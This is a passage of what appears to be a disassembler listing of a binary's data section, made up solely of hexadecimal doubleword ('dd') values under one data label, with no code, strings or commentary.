		dd 3D36870Eh, 1E1D390h,	0CC84003Ch, 0FCF89C89h,	0A2001E8Ch
		dd 0CD258DB2h, 19475A7h, 959BEFECh, 0F8D18B70h,	47007B80h
		dd 0ABBCB137h, 251FB6h,	4AA19AD9h, 0C56E13CCh, 0A63A3D7Dh
		dd 7FD28384h, 0D82ABAC7h, 1D37756h, 0B47310CCh,	0E41B8718h
		dd 30311E2h, 0DFFB3759h, 78089030h, 0FF1C00F9h,	397FFCAFh
		dd 0B2012647h, 2B28727Eh, 7F2061A0h, 8B4A00C6h,	8ADEC26Bh
		dd 0D41793A9h, 640B5DAFh, 23E0811Fh, 12D00497h,	8720C090h
		dd 8A9F0CAEh, 45E41A03h, 0E1ACEF60h, 3230862Fh,	0F37FB0h
		dd 6C76B1EAh, 59F878BCh, 632D1312h, 2469800Eh, 6090143Ch
		dd 8E962Ch, 2592FB94h, 1964B35Eh, 21F8E400h, 52B0909Ch
		dd 2FB53ACBh, 918B0200h, 0D15A8611h, 1D5FB703h,	9ABC466Dh
		dd 558CE1DEh, 143029DDh, 0A0E51FF8h, 6B42454h, 0B83DE189h
		dd 20743909h, 0E298992Fh, 0CD57AD10h, 6ED13804h, 148719D8h
		dd 0D99C6B40h, 1B1F840h, 709A928Bh, 0E681D7CBh,	3235C9C0h
		dd 0CA9A202h, 0C02C1F0Eh, 82E0440h, 36E1B219h, 0E9CE3000h
		dd 260B79B9h, 3946111h,	0CA86170Ah, 41B09193h, 0CD043213h
		dd 8DEC02D6h, 36ACE0h, 12A59DA9h, 87D21303h, 9C9A333Bh
		dd 880B267h, 0A917CE22h, 7B8B4h, 92501134h, 9409FFF6h
		dd 0E400E49Ah, 0C8413203h, 3BFCC531h, 0F0DC96D9h, 50E913h
		dd 12637FECh, 44FC6921h, 0BBD3901Ch, 4BE3BD03h,	0F3F1C86Eh
		dd 57E81h, 28A26F9h, 0BA4CFD79h, 64E88B00h, 0D5318EE9h
		dd 0B5DC0E22h, 2D80D3C3h, 8776FA38h, 0C4880A00h, 78472142h
		dd 301F072Ch, 0C05B32EEh, 0A6619A3h, 0FD74C603h, 88187C5Ah
		dd 1C99428Ah, 802335F9h, 0D7C6279Fh, 0F3980584h, 73F85600h
		dd 0A0DB4A86h, 0C01E2EAh, 0C7EE136h, 0BD009B28h, 30D39A3Ah
		dd 1D272562h, 5F1EFD2Dh, 7C50072h, 1463FE2h, 928D6700h
		dd 2E76DF9Dh, 9AC900EFh, 0AECC290Ah, 9000EA66h,	2AC855A1h
		dd 1560367h, 0BC48E8ACh, 0CCA397F1h, 8E00C1D3h,	0B95A0D1h
		dd 25345Fh, 35B416C4h, 7EC6E1D5h, 3C065407h, 0D0F029BDh
		dd 2232ECh, 2B42A76Bh, 38D7B1E8h, 7B006479h, 32ED241Bh
		dd 3F829773h, 75008D10h, 25841D80h, 0D3001AC8h,	12F63AABh
		dd 0F43262h, 4F4505BFh
		dd 5C9706B7h, 42CAD107h, 19902379h, 1C452CDh, 88892FA2h
		dd 0F83FD6C2h, 963CEEBDh, 17EF0004h, 578AA341h,	78B700B5h
		dd 2EF75239h, 1B989777h, 0D45073ECh, 5300AA84h,	88121F96h
		dd 0FA4DBDEh, 11269DCCh, 0AFB6D100h, 1C39971Ah,	0CF2380BEh
		dd 614369Bh, 0FC7827h, 1AD38E9Eh, 0B0F12A68h, 0DF059200h
		dd 0B9B2AC85h, 91D103D0h, 4724B407h, 2F2EDED0h,	0E4C36500h
		dd 697D6389h, 0C0CA7F4Fh, 6DA08164h, 72008B3Dh,	8406CC5Eh
		dd 7B56A8E8h, 5CB10E37h, 0CF8BEEAFh, 629D3C00h,	6A0388F1h
		dd 7C034A22h, 97BFF856h, 0D7E2009Ah, 4B10B680h,	5C240115h
		dd 48003C4Ch, 0FC3CD35Dh, 4F58006Fh, 4524DF9Fh,	0A100141Ah
		dd 3A150CFEh, 304CCAC0h, 0A72058B3h, 35EEFFFDh,	9D907E00h
		dd 0EAD693BBh, 781505CAh, 8348F11Eh, 5CD0A1A9h,	50E04B7Eh
		dd 1211C500h, 0D7692857h, 0F2810131h, 0E8275A29h, 6D09D489h
		dd 0D4BD910Ah, 101F864h, 0B1DBF0E3h, 9F661180h,	610EAE94h
		dd 3C92780h, 1E4B9285h,	75D012D1h, 0EA74B9DDh, 0F7EEBEEEh
		dd 130A4F00h, 25B5F1FFh, 7A1E78B7h, 0E80D0F3Ah,	5780AD80h
		dd 6F4A9E6Dh, 5BDBED00h, 912E16DEh, 838E0035h, 773E6EE5h
		dd 85018B38h, 9D9E5610h, 4160D39Fh, 18E9487Ch, 6FFB8203h
		dd 0B98279D4h, 75543B60h, 0B805E0F5h, 620987E2h, 65D64Fh
		dd 8E93B016h, 0E1F0FBDh, 0A7E09A19h, 1120D08Bh,	98FB1A31h
		dd 18208210h, 59C60571h, 7FC453h, 366BCBD0h, 0EA3A5C62h
		dd 71A5848Ch, 3C8126DEh, 98FB91A1h, 3D0AEC8Eh, 0F58007EEh
		dd 0F892A037h, 530927A9h, 0D7EBB0h, 0ED68F7CCh,	0A9B00BDh
		dd 0DFC50B36h, 0CB00BBD0h, 234213ACh, 62811h, 8AFE7559h
		dd 7ACAA62Ch, 3641370Fh, 11A54CDCh, 0F3C900D7h,	0C47B9187h
		dd 3900AE9Ah, 0C650F9E9h, 6319ADh, 9CE3BB54h, 3C4FC1FEh
		dd 4BCE0600h, 0BF7B5CF1h, 0D2C200B5h, 32273394h, 0F3008609h
		dd 9011F670h, 1E1AA595h, 40A0768Dh, 0AB2F26F8h,	9B033A4Ch
		dd 0C5DD35B1h, 0B7B9D8C2h, 3457E86h, 15714028h,	3802F438h
		dd 0C74A557h, 0EA706118h, 26C01CD4h, 911DFAh, 0F05083A4h
		dd 8001F27h, 0A79A7975h, 0F03EB0F2h, 87A5070h, 6DD21E30h
		dd 0F6520690h, 0D90E3125h, 444265D4h, 0D0D0CD27h, 9AC64A4Dh
		dd 0EE3F00A8h, 166D94ECh, 2F12C8EDh, 0EA0FBAB1h, 818E8FFEh
		dd 0C55F4E04h, 1C633180h, 0C72F21CCh, 0CF0C5401h, 0CD1E87C6h
		dd 0B1F070h, 0AE4D40EFh, 6BEAACF2h, 0D7652400h,	7FD3AA2Ah
		dd 0E29130C9h, 0ECC66D48h, 33BF2B3Ah, 0E97A99CCh, 0BCF0E665h
		dd 0DCE83929h, 60E261F4h, 0E524DBA8h, 80D917F2h, 0C14E212Ah
		dd 6BFD30C8h, 76D91C0h,	58A262F4h, 0B5437C10h, 0BCCA60Fh
		dd 4DCFA2ECh, 0D14805Dh, 5E41B8h, 5C11AE8Eh, 3FD236BAh
		dd 0A47F0400h, 0E459E39Eh, 84EE0047h, 0BC65E20Bh, 270083B8h
		dd 0F0F2C7C1h, 0FB6B9D4h, 8119E16Fh, 0F9D0BD80h, 0CF00099Ch
		dd 0A32D2C4Eh, 0A01BC657h, 9B88DEh, 0D877FA29h,	0C354C87Eh
		dd 4DEBD100h, 40FE1518h, 833700F2h, 84BDD52Ch, 9E003A6Bh
		dd 0FB7D73E2h, 0DB32B9h, 0AF64AA8Bh, 515ECA3Bh,	69B7D800h
		dd 1C081591h, 2BF501E4h, 0DCDBC16Ah, 3865C4D7h,	8CE8AE01h
		dd 3A27229Fh, 0C1A61882h, 40407044h, 0DA14D4CBh, 7898A528h
		dd 2B228100h, 0C7FF0C79h, 993EDCCh, 0E12C4751h,	0A3F6A024h
		dd 11008E15h, 9F679616h, 92E50550h, 3C65E268h, 78637228h
		dd 0A8817757h, 0A7AAE006h, 14020F28h, 0A399B003h, 0C8F564ADh
		dd 0CADD4DE4h, 80E0E908h, 56A39283h, 52182AD2h,	0FC0D9C9h
		dd 0CF5C7A6Ah, 614732C8h, 0E115020h, 570CA7ABh,	90555397h
		dd 0AB41FD4Fh, 67E8D40Bh, 3E300010h, 0A4FE4D1Dh, 7F982A4Ah
		dd 7E59D800h, 89F2E8Ah,	0A1520191h, 55A5C0EEh, 7760D4C4h
		dd 6388DB00h, 8EEB0A07h, 38AFA9Eh, 2B794036h, 37F00E80h
		dd 46008357h, 0B297A64Ah, 1D69D7E0h, 805121F1h,	0BA78082Ch
		dd 0EE7606DCh, 0B6408600h, 481AF23Ch, 2F5400F7h, 6A495562h
		dd 96008423h, 445A8F30h, 3F69ED38h, 1E00C2BEh, 0C1C1362h
		dd 17EA6FB2h, 0CC6A9600h, 0E1AC3D73h, 16A50093h, 0E970E2E4h
		dd 0EE263A11h, 0AB00CE6Ch, 4DC3471Ah, 702CFA38h, 0C41203A0h
		dd 0E755FDC1h, 5E5ABEF0h, 9F84860Eh, 3461875Ch,	8CB4F5D0h
		dd 0DD857873h, 30DA1D48h, 0B1E3A121h, 0AA071CE4h, 6CE57B76h
		dd 0BFA8000h, 0D1B018A0h, 9CE260F9h, 61587004h,	0AD800226h
		dd 5C2BAEB9h, 5007E55h,	0DAB7FEEAh, 0A406EBF6h,	0EC3E7D4Dh
		dd 493A00B9h, 0D0C2BD76h, 0A378C30Bh, 8F41E23Eh, 4191E3C1h
		dd 0C25BA6FFh, 77C9688Ch, 0AD0C0319h, 2E55F27h,	69B61E31h
		dd 788500B7h, 65155DC3h, 0E0FFA100h, 0E5E2808Ah, 0FB0D07CEh
		dd 20E6C43Bh, 5EA5CD23h, 1C564900h, 40DD32D7h, 4E800001h
		dd 0C5E5B008h, 2F063157h, 47F5A2CDh, 0DED62229h, 420E1422h
		dd 72A608F3h, 282A1455h, 21122811h, 6E0D0DDFh, 10DBD129h
		dd 81B7C63Ch, 5A62101Bh, 8D960037h, 9F854791h, 84003940h
		dd 7048AAB3h, 3A079Ch, 6F12B1F5h, 0EB91B25Eh, 0A594A60Fh
		dd 0ADAEA077h, 0F990735h, 8C59139Fh, 0C0A00584h, 3A42D3D4h
		dd 741C723Ch, 781E6900h, 23E596AEh, 25710073h, 88C009DCh
		dd 0A400CC54h, 0D5A6CF3Bh, 17D10CF8h, 673179h, 16362046h
		dd 0A4000AA1h, 52CC3E40h, 331DB26h, 5DE81134h, 32F0F235h
		dd 0F30074BDh, 55F15A10h, 33F8E0Ch, 17A83B11h, 9DA8866Eh
		dd 0BD031CB5h, 5A33892Ch, 9772D899h, 378C03F8h,	70EC53BBh
		dd 0BE9D1000h, 51FADD46h, 0DEE8CEh, 4F09B3E7h, 529734ECh
		dd 7DC7D3Dh, 78412B46h,	6D28ACC0h, 315B008Ch, 1D301224h
		dd 3A00D488h, 0EE9C6CDh, 0D6AF2Bh, 31CC79A6h, 6439076Fh
		dd 54A5CF00h, 0E652186Ch, 0D1EE0023h, 4CCD4620h, 5E00C616h
		dd 76600FABh, 92DD68h, 2BD8C1A7h, 9606FD3Bh, 3C1C1D24h
		dd 0A469B80Ah, 0EC02AD40h, 3B97227h, 3988A3F0h,	0C880F516h
		dd 4D009E7Fh, 4785CCE5h, 0EB84Ch, 0BF6F97E7h, 417CE2F7h
		dd 0E8A63B00h, 84712A82h, 7E5C00FAh, 515AB5E0h,	9A0B0CB2h
		dd 808DB939h, 7AAB1A84h, 86F43Bh, 6721911Bh, 0E44ACE24h
		dd 4E16C300h, 0F098E027h, 0BEEA0002h, 5B7510ACh, 0BCE0786Fh
		dd 5009B530h, 444154h, 0CF9D079Fh, 0E32D9731h, 76FBD601h
		dd 6B29B915h, 70E0C880h, 1448772h, 20CB7F00h, 1F653CD5h
		dd 62A90B30h, 6C003FB0h, 24CCAF74h, 647F9D02h, 802091ACh
		dd 0B06FAD94h, 619A0321h, 7CBECA47h, 0FEE993B0h, 103C3700h
		dd 0EFF51204h, 750239C3h, 0DD09AB80h, 20D3530Ah, 0DF25A900h
		dd 364D4DAh, 77C54h, 92760D5Eh,	438C7ECAh, 6D68D600h, 21AF2593h
		dd 18E70085h, 0A061D3B5h, 4EE0E984h, 0E1383700h, 0E0DC7C72h
		dd 0B51D0014h, 70C19FCDh, 0D200546Bh, 76C57DAh,	0A048DFh
		dd 0D097F8E1h, 1F6EA775h, 6001807Fh, 39649ED5h,	4242FF0h
		dd 8FB300FCh, 0F89BF327h, 0A30025FEh, 0CBD5B14Bh, 24AE7555h
		dd 0F88F65h, 0B6FEE13Dh, 8E74FCEEh, 9CBE0C00h, 457FC9E6h
		dd 0F83F2898h, 75E800E8h, 672FF4FAh, 0B501EF12h, 7B7990CBh
		dd 34E815C3h, 2682095Fh, 8B0021F8h, 772CFEC0h, 0D3FD3F01h
		dd 7015B5C2h, 4461D8h, 9BA1FC21h, 1BAA3164h, 0FFFB2C03h
		dd 0F07D01BCh, 3F20B8F1h, 2DBBECC0h, 0C751B500h, 0BD34F943h
		dd 0CB0BB100h
		dd 0DF95FABBh, 7AF284h,	29BAA8B2h, 0C6E42E47h, 59D68B00h
		dd 0C258FA78h, 6DBE1FA2h, 682342A9h, 0D0603021h, 0A5099208h
		dd 1BB73Ch, 0A144FC7Fh,	8C170EF2h, 6C6F67C5h, 0AD8AF129h
		dd 401C1F58h, 7A94F4ABh, 8074021h, 82DC38A1h, 0B0DD8C93h
		dd 0F3020923h, 4E69E70h, 3F24DA11h, 4D5880A1h, 5E6A2FE9h
		dd 53005C4Ah, 58E449C1h, 29C2012Ah, 5577E668h, 54E2D095h
		dd 853DF900h, 181F22FBh, 0E5CB0006h, 0DEC70A89h, 0A80EEC2Eh
		dd 0C0D11E6Fh, 3262C37Dh, 41200797h, 50D4E28Ch,	0CB9F6BB3h
		dd 488D0201h, 573BD114h, 177130h, 3221106Fh, 53A131B6h
		dd 0E889900h, 0D95E9356h, 0BD8A0085h, 0F2D3B872h, 61987429h
		dd 83DDC700h, 0B5369833h, 4B200F1h, 51B331CEh, 10E40B81h
		dd 95884200h, 466C564Ch, 0D3F4007Fh, 0FD55281Dh, 0B600C176h
		dd 30B1A204h, 0BF49F8h,	125B6F7Ah, 73483D81h, 410027FCh
		dd 0B724427Dh, 2D1BFCh,	4C43C6B4h, 0EDD78E37h, 0A0002FAh
		dd 0BC2160FBh, 0B6A680h, 0FC011E71h, 0F178B75Fh, 8E99F200h
		dd 0EE861691h, 4B460C7Dh, 0D3B06B14h, 6148AEEEh, 0B2C50BF4h
		dd 1EB90717h, 30D53A01h, 3D064FD8h, 0A5001624h,	389A66F9h
		dd 0F50075D7h, 0E20A9944h, 1AB1BB2h, 0F26C492Dh, 80720CE5h
		dd 0FAAA570Ch, 788E053h, 51EEB4C6h, 2D1A9034h, 1C7FC52Ch
		dd 0DA33B00h, 38E947Ah,	16CA3A35h, 797E2580h, 0E7085936h
		dd 0D00C0716h, 0BDD5A700h, 0C16EFDB2h, 80F8A890h, 498ECCC0h
		dd 0B069CF39h, 9BC71081h, 0A25800B6h, 0DD97A4Eh, 7539CF70h
		dd 0EA7C7E79h, 63DC0706h, 0BB0F52Ch, 11080B5h, 88235003h
		dd 7860E98Ah, 810F67F4h, 0D39A1405h, 45202400h,	1E5133B7h
		dd 7EA3F797h, 0FCC06C49h, 0AE164578h, 9A3C9C0Eh, 332DE2B4h
		dd 0FB16C0B2h, 8E9800F8h, 407D9272h, 0CF1603C3h, 2E00C601h
		dd 0C16288B1h, 0D7290331h, 894A531Bh, 0DC803EABh, 0F6076AA6h
		dd 395BEFF1h, 997B1F60h, 0C07B58h, 0FDC11B53h, 0E598D341h
		dd 0FFE8C300h, 0AF22E4Dh, 84990F8Dh, 67A0DF1Dh,	596013C5h
		dd 1F713D3Eh, 8180A545h, 4822965Ch, 1E010087h, 0EFB67F69h
		dd 0A07CE5Ah, 15F48BF2h, 3030A3E7h, 1B7E9h, 7E9F05A7h
		dd 201D29C7h, 0E7D15A17h, 0CDAF800h, 0D2CD4Dh, 0E0ABD7F3h
		dd 24E880DFh, 0A6708900h, 0EF947EE9h, 71C33A0Fh, 80732F00h
		dd 19DD456Bh, 757BFD00h, 860F8314h, 5A690702h, 503CEEEBh
		dd 0B0A6355Ch, 4F03DC9Ah, 5148A89Ah, 31C0B073h,	29B300E6h
		dd 0EEF6D7B6h, 1D0228C1h, 21D0F087h, 0C5DAE07Eh, 0CF7B0048h
		dd 0ED6923A2h, 40037F27h, 90F067E6h, 4EDBD0AAh,	0CDFE8Ch
		dd 0BF147E49h, 0F933683Eh, 6CDD2100h, 0BD7490B3h, 4D2F0BCEh
		dd 0C70EA8B7h, 0DECC27E0h, 10DEA1C0h, 7521C540h, 919677Ah
		dd 0A9230BC9h, 9FDF8880h, 0ED00C625h, 62E9B265h, 1D4126h
		dd 3847A109h, 5618AEB3h, 93998A00h, 0C9136A5Ah,	800F0E81h
		dd 0FBA5640Ch, 0B373C0DEh, 4001B88h, 0ACEBC252h, 4EFD799h
		dd 6972E7B0h, 0ECC70Bh,	3C8B6375h, 0F33DAE09h, 0E0090F9Dh
		dd 6FA45BC8h, 58F04802h, 9C2F8F02h, 6440A2D2h, 0F2EA4706h
		dd 6367FC04h, 70903846h, 143175h, 9798C776h, 5D65267Dh
		dd 0E4A47300h, 474AE96Eh, 20ECAEh, 0C06F0733h, 0C777F80h
		dd 89C86109h, 0AD4D818Bh, 0E130F765h, 1890E4h, 54553652h
		dd 61A48506h, 67307800h, 0DD825D22h, 377D3C60h,	0BC804939h
		dd 8969A99Ah, 1492F539h, 0ED55851Eh, 1EA62B80h,	79AC5EAAh
		dd 2189021h, 4C516DE4h,	5C46BF3Fh, 0A82F6100h, 80D8E6C3h
		dd 29860060h, 5937CE4Ah, 0DB1F3FC9h, 35800D34h,	8F83AC33h
		dd 9577306Ah, 0A53EA8DEh, 0CAD0CC00h, 0C517418Ch, 5789971h
		dd 803EBBFDh, 4409E51Dh, 0D386D703h, 0C0AC20CAh, 38348ABh
		dd 7CDFB287h, 0E4A8020Eh, 0BAEA32C3h, 0BB768A00h, 121F7A3Ch
		dd 481BECCFh, 0D40FDF2Bh, 2ACF1929h, 4DE27C40h,	0AD025390h
		dd 6B0C31EAh, 82CA8FA3h, 41D2CC38h, 70FC6619h, 2434027Bh
		dd 74BA6BCAh, 0A214CFC0h, 2D515000h, 0F9225E25h, 0A04E007Bh
		dd 0B19299B7h, 0E300D3D8h, 127E59BEh, 2F3401h, 0ADEC33CCh
		dd 0BAAEBDACh, 0C3BF3Ah, 0C58AE5CDh, 0EA5F240h,	7E962136h
		dd 0D9FCE0C1h, 17D2CCB6h, 0F55239h, 7277D394h, 1559A7h
		dd 0EC9A57D7h, 0CFABDAAFh, 3491380Bh, 0D67B00A5h, 39570E7Eh
		dd 9080CBC3h, 0B44A67F1h, 871CABEAh, 0D3C0E884h, 28EE94A8h
		dd 1A7D31h, 0CA3F0AD7h,	0D5425857h, 0EC7A7300h,	78302287h
		dd 0F2BE0DEAh, 3EB8ABBDh, 612B4F0h, 0E5DCF8EDh,	7600199Bh
		dd 3FB2FC5Bh, 3C6B355h,	3820CD73h, 2000A9D2h, 83917919h
		dd 30A49D57h, 0AC703CBDh, 2C01A3AFh, 0EDEE3D6Bh, 0D9DCCE95h
		dd 0E361001Eh, 49E04F7Fh, 6300DFC1h, 93321A3h, 81223Bh
		dd 7DF1808Eh, 68F4B35Fh, 5B82FD00h, 641D0103h, 0B58B38D1h
		dd 0E87E070Eh, 0AB7999E0h, 0E0003E46h, 2B18067h, 785C84h
		dd 6207BD6h, 970AC7E4h,	9522D02h, 0DFEA47EDh, 1467FA00h
		dd 9600594Dh, 942F8DDFh, 7E340Fh, 0F19F8F07h, 0AE0BF629h
		dd 9A3BED7Dh, 9901FC20h, 7E3AADFh, 8040B91Ah, 7F4441h
		dd 453649A7h, 18B523B0h, 27DEA80Eh, 0B8F50Eh, 4FEF30D9h
		dd 28E6154Ah, 0F43D07h,	381B2326h, 0CE50A8E8h, 0E382CA0Fh
		dd 3359E46Ch, 5AAFDB80h, 0AEBE00B3h, 0B14DECE7h, 0B4014BEEh
		dd 0BFBD4327h, 15E8998Bh, 3F780B44h, 0A380A625h, 0D5DFF668h
		dd 0C6A3C207h, 0EA80C972h, 0E25DC79Bh, 65E10038h, 5568D191h
		dd 1200FE7Eh, 39F8AC1Bh, 0E1FF93Ah, 26B03FA1h, 0C0E94326h
		dd 0C81EF106h, 0F280270h, 0A19A1BD8h, 3B204480h, 5504A6DDh
		dd 94F4D95Eh, 4E191C92h, 0F4037E40h, 30F8CE55h,	91CE1A20h
		dd 0DE00AFD4h, 0F457230Dh, 4E8D79h, 0A9295E1Dh,	0E46B2EF8h
		dd 0BE03867Bh, 262BFC62h, 38661FC1h, 0A199003Bh, 0BEEEAA7Ch
		dd 0D3606D00h, 23193794h, 712008Eh, 358B1044h, 3AB0262Fh
		dd 55A130A0h, 5AA64003h, 252BE02h, 659FA090h, 0D4408373h
		dd 7B00C92Ch, 5031CA4Fh, 72C1105Ch, 0B81400F6h,	32B65BCDh
		dd 0D000775Fh, 31E8812Fh, 144039BAh, 88292376h,	30D44E28h
		dd 11F13A7Eh, 0E1001F52h, 13FC26FFh, 0A8B1FEB2h, 192C94h
		dd 0C4D3A6Eh, 0F5F0B986h, 62E57600h, 0BDEF0E7Ah, 81AB0012h
		dd 98D103CEh, 69482F9Bh, 7F0009Bh, 1A23903Eh, 3B583EA8h
		dd 3A02658Ch, 7701EEE8h, 0F9EF3E63h, 0E9ECB28Dh, 551700FFh
		dd 2B7AB999h, 35072407h, 0A3C6BCF8h, 6C63ADD0h,	8D42002Dh
		dd 92F67CF2h, 3B13E3FEh, 30006EBAh, 25C47331h, 7C6C0084h
		dd 12CB6353h, 0F200BFBBh, 0C83CAC26h, 6DCE35h, 8A8EEF5Eh
		dd 0BFA2D67Ch, 0DA0A30Ch, 4776034h, 59A5A117h, 430C02B3h
		dd 511E0780h, 0C4FA82C5h, 240056C8h, 9F2C2144h,	9F88E4D8h
		dd 2D1C69E0h, 1E461301h, 0C098493h, 0F653F9DCh,	0DD4D0E81h
		dd 8806205h, 26C3B0CEh,	6E76F403h, 802BE53Eh, 135C070h
		dd 0D4A7A5F7h, 0C8810A1Dh, 1600FEDEh, 0CFFBF02Ah, 7268EBC8h
		dd 63EA00ECh, 0AA2EDA37h, 0AD004C1Fh, 0FF12147Dh, 39DC6199h
		dd 0DE4CC719h, 0DE0CDB07h, 0B160105Eh, 4000CEB4h, 0F8A48891h
		dd 705AC07h, 0C38C3741h, 38AE4E50h, 0D0BDA024h,	9D11410h
		dd 6B844700h, 274F7CF0h, 0F57713h, 678A1B5Eh, 0E9FA9DB0h
		dd 7A557300h, 0FE2F0EE1h
dword_51AC48	dd 2F41Dh, 830ACD65h, 16801814h, 1C76EDF2h, 43F31200h
		dd 82482261h, 9C6F0233h, 0F6640330h, 0E4BA8469h, 0D0024E2h
		dd 48AC1A66h, 12579B8Ah, 0AECC69h, 0B8BDBC50h, 0D113AF4Dh
		dd 0F043A15Ch, 90E43586h, 0E8994AAh, 537B6D4Eh,	0E89F1E60h
		dd 0A307827Ch, 59CB66B2h, 0BBB60079h, 1F6D6964h, 8070D1F3h
		dd 1F95D7Eh, 0CB09C6C1h, 2062B0F2h, 14F8AB58h, 1DB09A19h
		dd 87605044h, 0C04DFCC4h, 10434FD4h, 0DD33DE1Ch, 9DAEB100h
		dd 1D320F95h, 8FF62539h, 818009B6h, 2BF25833h, 88E7C70Ch
		dd 7790EFh, 0C9A2A782h,	8D116B5Bh, 0BC006076h, 0E3CCA19h
		dd 4E8EFDh, 0CCF4D353h,	813A66ECh, 0B5A46D00h, 7336F6FCh
		dd 395BFA12h, 6B0930B7h, 4802109h, 0E41A461Bh, 7EEF9B07h
		dd 0DAF02B20h, 40CA5645h, 5764152h, 71190F00h, 91A44E4Dh
		dd 423603F3h, 0F7C3F834h, 114FCFA0h, 88502C00h,	0FD2D546Fh
		dd 0A713019Fh, 36485A6Ch, 878880CAh, 8A79370Bh,	0B7310877h
		dd 0A79D22BDh, 0B94A0078h, 0A0967E19h, 251F073Dh, 0E0459968h
		dd 0E6D6C95Ah, 21EC4EF0h, 48E85900h, 995D720h, 0F999500Eh
		dd 86C00F1Bh, 0B2654DBFh, 5CBC01C3h, 0DB0BB012h, 19F6DBB8h
		dd 0BAC1A300h, 0F0DADC59h, 0A54D00CEh, 8B27170Eh, 0C31CB174h
		dd 0DE40F58Eh, 4AD7F41h, 10CF4C5Ch, 3F5F3C00h, 6B2D1B35h
		dd 3F0A200h, 39B5A160h,	0F9CF0085h, 0A7429ADBh,	3F007716h
		dd 1E516293h, 520921h, 4B30CB11h, 0B7A7CAE6h, 4C2C143Dh
		dd 0D02300ACh, 810CC3BEh, 891900F5h, 8884A9F4h,	0E20002E3h
		dd 0E48EF069h, 241522Ah, 5B8A3B70h, 40FFD475h, 3940221h
		dd 89CB7139h, 40BFA26Eh, 5F9EA817h, 62F1F907h, 0EAC48305h
		dd 7DD8DC80h, 63E900BBh, 0F1965ACCh, 0B8481573h, 954C78F4h
		dd 0ED1600A4h, 6C40B9BDh, 10C8008Dh, 59BFB7C9h,	1478A638h
		dd 4448ADECh, 0E0DF004Ch, 8FF311A9h, 0AFA400A1h, 4129E394h
		dd 8E2C3475h, 8D51A45Fh, 4502E0h, 613307D1h, 0B7770E8Bh
		dd 28CA7D00h, 659A339h,	0BAC90701h, 50AF0A57h, 0B694AB1Bh
		dd 3A485812h, 49A4F445h, 0FC68E380h, 5C5EF6C7h,	0B30050E3h
		dd 5BB7D082h, 57E069FEh, 6AA8640Fh, 0C3ED8E2Dh,	0A938FFh
		dd 0FA834B10h, 54A1B81Fh, 2C00B5E8h, 978C66Ch, 2A247A12h
		dd 7B9CAEEAh, 1770EE8Bh, 0A216D3h, 4C346624h, 0DC4C9185h
		dd 0BD80FDCh, 63ECE352h, 696CD86Ah, 5CCF02FCh, 6E417EF7h
		dd 0A66FD6E0h, 44B058h,	0E8B35316h, 0FB67FF8h, 0DA286261h
		dd 1F253840h, 0C200F22Ch, 5E677290h, 762A17h, 9AAD1A3Dh
		dd 0E8AE974Ch, 360BAC00h, 0F18A9174h, 0FA5C3ACBh, 0C3450103h
		dd 0B800EB89h, 0C1ADB5C0h, 2F3C4B6h, 0CFABD9AFh, 805FB4B0h
		dd 6E74DA98h, 0B18B07A6h, 0F0523F38h, 9639E268h, 8E3B9100h
		dd 0F5B7DCCCh, 0BF6504BCh, 0C002D8C7h, 0ECB997D4h, 0B094A900h
		dd 345A4828h, 8F620930h, 20A0906Ch, 0C1A155A7h,	1040AE4Bh
		dd 0B6E118FDh, 136B0476h, 83B0A80Ah, 27E0BDD4h,	5800F9DBh
		dd 0DA707C3Fh, 176F5F11h, 584C157h, 0C267D274h,	40AAA1h
		dd 0A3EED8CFh, 1E01E677h, 1056F51h, 0B243E817h,	3259F85Bh
		dd 1D9724AAh, 0FFD200ECh, 0A8957B6Eh, 719B3B04h, 53823EE3h
		dd 4B460BDh, 56905Dh, 7918B3EEh, 53C74FD3h, 0B6070BF6h
		dd 4062CC97h, 71D1F200h, 4A794886h, 0A5A36B03h,	51909EE5h
		dd 0A800C198h, 0EE310DB4h, 7A7DE739h, 1DC6F271h, 0F4947C5h
		dd 19808693h, 0F72F7480h, 540077FCh, 1E9A8448h,	828D1Fh
		dd 0C9FF11D2h, 0FC46E19Ch, 94007871h, 0E9E47977h, 0F57AB4Dh
		dd 11B43C2Eh, 0C7DBCAC7h, 5664F098h, 55001DBBh,	0F1E030C3h
		dd 0E8BCF90Fh, 225F1CD1h, 1EF7D277h, 2F71C30Ch,	180CE8D2h
		dd 28893F61h, 0D0A0097h, 6DD7B72h, 0B0080EEh, 8B656A2Eh
		dd 0C096D3AEh, 0A38CEA21h, 0B00E5F2h, 7E7AFBCFh, 69CCA082h
		dd 418060EEh, 9E2015B2h, 0EF8B5B02h, 0C02F40C6h, 5B34E72h
		dd 0AF1B326Fh, 6B1802FFh, 8C31401h, 4B2AB3C0h, 0BAA89800h
		dd 0C527D54Ch, 921003BFh, 0E2C8D1DBh, 3BC9D7A0h, 0AB0369E0h
		dd 54147C6Dh, 275BB8AEh, 0B28F00A5h, 0D104823Ch, 4F0079EEh
		dd 0B308E541h, 7C3FF56Bh, 0A1270074h, 81BA6263h, 0E0033384h
		dd 7D0AEBD8h, 5EA80021h, 5BEFDDB3h, 0A0E01413h,	358BD401h
		dd 3178B626h, 0A9C8AFE8h, 0BE02E678h, 0A09F9A03h, 2FDE89h
		dd 29E9093Eh, 0FA71223Ch, 0BD384300h, 5F337E67h, 185002Eh
		dd 0D2517703h, 0FF00AD0Dh, 0F5B4EE1Dh, 7AA55D8Fh, 0EB0E07DAh
		dd 0F1F23F6h, 2F17D9C0h, 7000B280h, 0C5249397h,	0B520BBh
		dd 0B4142A1Fh, 0DC8146AFh, 1BCDE000h, 213BD522h, 330400BAh
		dd 3D05881Ah, 5600C7ECh, 8F20C537h, 65961Ch, 1A8DE428h
		dd 0BBA27752h, 5191700h, 751E79E2h, 47C200DEh, 89B5EB43h
		dd 700BFEEh, 0AD9387C9h, 8AF2FBh, 0F331C399h, 7E92D52Dh
		dd 3ADCC5Ch, 0EE98431Ch, 7513C8D3h, 953F4C4h, 0F36A153Bh
		dd 52307460h, 46CEE2Bh,	0C454E871h, 90BF043Ch, 172C1F40h
		dd 24BB0B20h, 4C108h, 36A969F3h, 97745233h, 351CEB50h
		dd 7AAC08C4h, 86AB0C81h, 1820ACF2h, 0C26700D5h,	0EBC3AA35h
		dd 0D1CD1221h, 5094091Eh, 0A97418BAh, 69BA094Ch, 192F7866h
		dd 1C6EA228h, 1089B36Ch, 0AC897C17h, 0E5108B50h, 0B46B6045h
		dd 80040811h, 68C2092Fh, 44B650A9h, 0ABC9CCAFh,	1CA63F09h
		dd 8707EB06h, 8408E86Eh, 14AC500Ch, 4C035086h, 0EE80C468h
		dd 85106632h, 9EB60150h, 3A44C2CDh, 14018EA0h, 0ECE684DAh
